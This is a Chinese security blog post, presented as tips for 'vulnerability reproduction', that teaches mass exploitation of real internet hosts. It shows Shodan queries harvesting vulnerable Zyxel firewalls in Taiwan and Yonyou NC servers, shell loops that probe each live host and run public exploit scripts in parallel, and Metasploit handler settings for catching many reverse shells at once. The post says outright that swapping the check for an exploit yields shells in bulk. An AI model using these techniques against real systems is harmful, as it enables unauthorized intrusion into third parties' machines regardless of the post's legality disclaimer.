Shodan提升漏洞复现效率 / 自动化getshell技巧

Shodan提升漏洞复现效率 / 自动化getshell技巧

安全学习过程中,漏洞复现是一个必不可少的一个环节。但是复现漏洞存在以下几个痛点。

  1. 漏洞复现5分钟,环境搭建两小时。
  2. 商业软件、未开源组件 无法下载搭建安装。
  3. 刚爆发的0day,无法快速进行复现。

vulhub解决了大部分第一类的痛点。二和三则可以通过Shodan来解决。最近在不断复现漏洞的过程中,通过使用shodan极大地提升了复现的效率。个人总结了部分shodan使用技巧。

注:本文仅分享个人漏洞复现技巧,请勿用于非法途径。

实验环境

阿里云漏洞库

复现漏洞往往具有针对性。以我为例,需要批量复现已经武器化的漏洞,这部分漏洞大致有RCE和未授权访问漏洞。阿里云漏洞库不支持按漏洞状态过滤。

我针对该漏洞库写了一个简单的爬虫脚本进行抓取过滤。

import requests
from bs4 import BeautifulSoup
import lxml
import re
import time

with open("CVE.txt","w")as f:
    for i in range(1,31): # 漏洞的页数
        r = requests.get('https://avd.aliyun.com/high-risk/list?page={}'.format(i))
        soup = BeautifulSoup(r.text,"lxml")
        for tr in soup.find("tbody").find_all("tr"):
            link = "https://avd.aliyun.com" + tr.td.a['href']
            title = tr.find_all("td")[1].string
            cve = tr.find_all("button")[-2]["title"]
            status = tr.find_all("button")[-1]["title"]
            print(cve,status,title,link)
            f.write("{} {} {} {}\n".format(cve,status,title,link))
        time.sleep(1)

阿里云的漏洞库会对有价值的漏洞进行分类整理,每个漏洞都会有详情说明,披露时间以及漏洞当前的状态。对于漏洞复现,有较大的参考价值。

Shodan语法

shodan搜索语法参考 https://www.shodan.io/search/filters

漏洞复现常用的过滤规则

  • “Keyword” 直接搜索关键词
  • Port 端口(Port:xxxx)
  • http.title 网站标题(http.title:”xxxxx”)
  • http.html 网站内容(http.html:”xxxxx”)
  • http.status 网站状态码(http.status:xxx)
  • http.favicon.hash 网站ico哈希值(http.favicon.hash:xxxxxxxx)
  • vuln 漏洞CVE(vuln:CVE-20xx-xxxx)

这几个过滤基本覆盖了漏洞复现的常见场景。

“Keyword” 直接搜索关键词

以ssh为例,直接搜索该关键词会得到所有安装ssh组件的ip。如果关键词中带有空格,就加上引号后搜索。

如果是要搜索http.header的值,也是直接搜索(shodan没有单过过滤header的选项)。

左下角的top ports可以看到使用ssh的端口数量。最多的还是默认的22端口。

Port 端口(Port:xxxx)

过滤开放指定端口的主机。

http.title 网站标题(http.title:”xxxxx”)

过滤网站标题中的关键字。

http.html 网站内容(http.html:”xxxxx”)

指定http里面body中关键词。shodan默认搜索结果列表中只会展示header的内容。

http.status 网站状态码(http.status:xxx)

常见的一些状态码如200,302,403,404,500等。

http.favicon.hash 网站ico哈希值(http.favicon.hash:xxxxxxxx)

已知某网站的ico,如何获取hash值?

下面是一个Python2的脚本,指定网站ico的url即可生成该ico的hash。

import mmh3
import requests
import sys

url = sys.argv[1]
response = requests.get(url)
favicon = response.content.encode('base64')
hash = mmh3.hash(favicon)
print 'https://www.shodan.io/search?query=http.favicon.hash:'+str(hash)

vuln 漏洞CVE(vuln:CVE-20xx-xxxx)

搜索存在指定CVE漏洞的主机。不太推荐,大多数cve都搜索不到。(该功能需要升级shodan高级会员账号)

心脏滴血漏洞

Shodan 不支持正则

Shodan API 使用

Shodan cli 安装参考链接:https://help.shodan.io/command-line-interface/0-installation

[root@VM-4-7-centos ~]# shodan -h
用法:shodan [OPTIONS] 命令 [ARGS]...
选项:
-h, --help 显示此消息并退出。
命令:
alert 管理您帐户的网络警报
convert 将给定的输入数据文件转换为不同的格式。
count 返回搜索结果的数量
data 对 Shodan 的批量数据访问
domain 查看域名的所有可用信息
download 下载搜索结果并将其保存在压缩的 JSON 中...
honeyscore 检查 IP 是否为蜜罐。
host 查看 IP 地址的所有可用信息
info 显示有关您帐户的一般信息
init 初始化 Shodan 命令行
myip 打印你的外部 IP 地址
org 管理您的组织对 Shodan 的访问权限
parse 从压缩的 JSON 文件中提取信息。
Shodan 发现的一些结果的雷达实时地图。
scan 使用 Shodan 扫描 IP/网络块。
search  搜索Shodan 数据库
stats 提供有关搜索查询的摘要信息
stream 实时流式传输数据。
version 此工具的打印版本。

使用最多的是search参数。

[root@VM-4-7-centos ~]# shodan search -h
用法:shodan search [OPTIONS] <搜索查询>
搜索 Shodan 数据库
选项:
--color / --no-color
--fields TEXT 要在搜索结果中显示的属性列表。
--limit INTEGER 应返回的搜索结果数。
最大:1000
--separator TEXT 搜索属性之间的分隔符
结果。
-h, --help 显示此消息并退出。

常用命令示例:过滤关键词结果只显示ip和端口,用:分隔,只显示10条数据。

shodan search 'keyword' --fields ip_str,port --separator :  --limit `10

Shodan漏洞复现实战

以某x友的RCE漏洞为例,该组件为商业软件,无法通过vulhub快速搭建漏洞环境。如果我们靠自身搭建环境复现漏洞过于麻烦。

使用shodan api提取ip和端口

该漏洞判断逻辑非常简单,只要页面存在即存在漏洞。所以通过shell即可完成快速验证漏洞是否存在。

for ip in `head  NC_ip_port.txt`;do curl -I -m 10 -o /dev/null -s -w "%{http_code} %{url_effective}\n" http://$ip/servlet/~ic/bsh.servlet.BshServlet & done

任意打开一个为200的url,即可执行任意命令。

如何获取Shodan高级会员账号?

  • 使用教育邮箱申请。
  • shodan官方搞活动时低价购买。(我前几年遇到shodan黑色星期五活动花一美元买的,活动时间不确定)
  • 闲鱼上低价购买。(也是用教育邮箱申请的)

个人推荐第三种,便宜方便。

自动化getshell技巧

shell-for循环创建多进程

通常网上现成的exp,脚本本身的实现是单线程的。我们不可能修改每个exp的代码变为多线程。所以最简单的方式就是使用shell的for循环创建多个进程,提高exp执行效率。

下面是我常用的部分demo。

批量执行curl显示状态码和url

for ip in `cat ip_port.txt`;do curl http://$ip/  -I -m 10 -o /dev/null -s -w "%{http_code}  %{url_effective}\n"   & done

批量执行exp.py,错误输出重定向,标准输出保存至文件

for ip in `cat  ip-port.txt` ;do python3 exp.py  http://$ip 2>/dev/null 1>>result.txt & done
tail -f result.txt

结果将保存至result.txt,如果多进程未执行完,可以tail持续输出结果。

sed取指定数量的ip创建多进程

有时候cat整个文件,一次性读取的ip数量过多。会导致机器的cpu被占满甚至卡死的情况,所以这里要控制一次性创建进程的数量。

for ip in `sed -n '20,50p' ip.txt` ;do python3 exp.py  https://$ip 2>/dev/null 1>>result.txt & done

sed -n ‘20,50p’ ip_port.txt,可以指定读取当前文本的第20行至50行的内容。

Shodan 自动化getshell案例

这里我们以前段时间爆发的 Zyxel 防火墙远程命令注入漏洞(CVE-2022-30525)为例。使用的验证脚本为 https://github.com/Henry4E36/CVE-2022-30525

该脚本作者使用dnslog来验证漏洞是否存在,因此单个ip验证花费为10s以上。批量ip验证的情况下,效率非常低下。而使用上面提到的shell-for循环创建多进程执行,则可以再短时间完成大量漏洞ip的验证。

Shodan API 导出ip_port

shodan search 'http.title:"USG FLEX 100","USG FLEX 100w","USG FLEX 200","USG FLEX 500","USG FLEX 700","USG FLEX 50","USG FLEX 50w","ATP100","ATP200","ATP500","ATP700" country:"TW" ' --fields ip_str,port 

将存在该组件的主机ip和端口保存至文件。

shell-for循环批量执行poc

for ip in `cat  ip.txt` ;do python3 CVE-2022-30525.py -u https://$ip 2>/dev/null 1>>result.txt & done
less result.txt  | grep [√] 

msf监听session获取反弹shell

msf exploit(multi/handler) > set ExitOnSession false //可以在接收到seesion后继续监听端口,保持侦听。

防止session意外退出

msf5 exploit(multi/handler) > set SessionCommunicationTimeout 0 //默认情况下,如果一个会话将在5分钟(300秒)没有任何活动,那么它会被杀死,为防止此情况可将此项修改为0

msf5 exploit(multi/handler) > set SessionExpirationTimeout 0 //默认情况下,一个星期(604800秒)后,会话将被强制关闭,修改为0可永久不会被关闭

handler后台持续监听

msf exploit(multi/handler) > exploit -j -z

使用exploit -j -z可在后台持续监听,-j为后台任务,-z为持续监听,使用Jobs命令查看和管理后台任务。jobs -K可结束所有任务。

使用nc只能监听一个反弹的shell,可以用msf在同一端口监听多个session。

将上面shell-for-poc换成exp,就可以批量获得反弹的shell。

Print Friendly, PDF & Email
赞赏

微信赞赏支付宝赞赏

Zgao

愿有一日,安全圈的师傅们都能用上Zgao写的工具。

7条评论

hugh 发布于10:16 上午 - 7月 21, 2022

使用msf 监听反弹需要公网环境,博主是怎么解决这一问题的呀?

    hugh 发布于10:23 上午 - 7月 21, 2022

    干货,确实干,学到很多

    noth 发布于10:20 上午 - 8月 15, 2022

    應該是使用公網 vps 來接 shell。

匿名 发布于12:53 上午 - 7月 16, 2022

大佬,万人血书求更新一下某P的插件版本!~

避坑指南 发布于8:18 下午 - 7月 7, 2022

渴望博主能出一篇利用闲置服务器实现自动登录网站签到挂时长的办法,好多文章都过时了有的还不全 。

    匿名 发布于12:53 下午 - 7月 9, 2022

    比如说什么网站?

gearmax 发布于10:45 下午 - 7月 5, 2022

完全看不懂······